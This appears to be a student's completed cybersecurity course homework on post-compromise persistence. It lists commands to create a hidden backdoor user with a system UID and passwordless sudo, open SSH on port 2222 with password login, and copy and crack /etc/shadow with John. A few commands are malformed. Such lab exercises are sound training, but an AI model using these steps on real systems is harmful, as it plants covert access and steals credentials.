Week 6 Homework Submission File: Advanced Bash - Owning the System

Please edit this file by adding the solution commands on the line below the prompt.
Save and submit the completed file for your homework submission.

Step 1: Shadow Peopled

1. Create a secret user named sysd . Make sure this user doesn't have a home folder created:
Your solution command here: **useradd –no-create-home sysd**

2. Give your secret user a password:
Your solution command here: **passwd sysd**

3. Give your secret user a system UID < 1000:
Your solution command here: **usermod -u 301 sysd**

4. Give your secret user the same GID:
Your solution command here: **groupmod -g 301 sysd**

5. Give your secret user full sudo access without the need for a password:
Your solution command here: **sudo visudo sysd ALL=(ALL:ALL) NOPASSWD:ALL**

6. Test that sudo access works without your password:
Your bash commands here: **su sysd**
sudo -l
sudo -V

User sysd may run the following commands on scavenger-hunt:
(ALL : ALL) NOPASSWD: ALL

Step 2: Smooth Sailing

1. Edit the sshd_config file:
Your bash commands here: **nano /etc/ssh/sshd_config**
Port 2222
PasswordAuthentication yes

Step 3: Testing Your Configuration Update 1.

Restart the SSH service: - Your solution command here: **sudo systemctl restart ssh**

2. Exit the root account:
Your solution command here: **Ctrl+D**

3. SSH to the target machine using your sysd account and port 2222 :
Your solution command here: **ssh sysd@192.168.6.105 -p 2222**

4. Use sudo to switch to the root user:
Your solution command here: **sudo su root**

Step 4: Crack All the Passwords

1. SSH back to the system using your sysd account and port 2222 :
Your solution command here: **su sysd**

2. Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file:
Your solution command here**: sudo cp /etc/shadow shadow_copy**
john /etc/shadow

exit
exit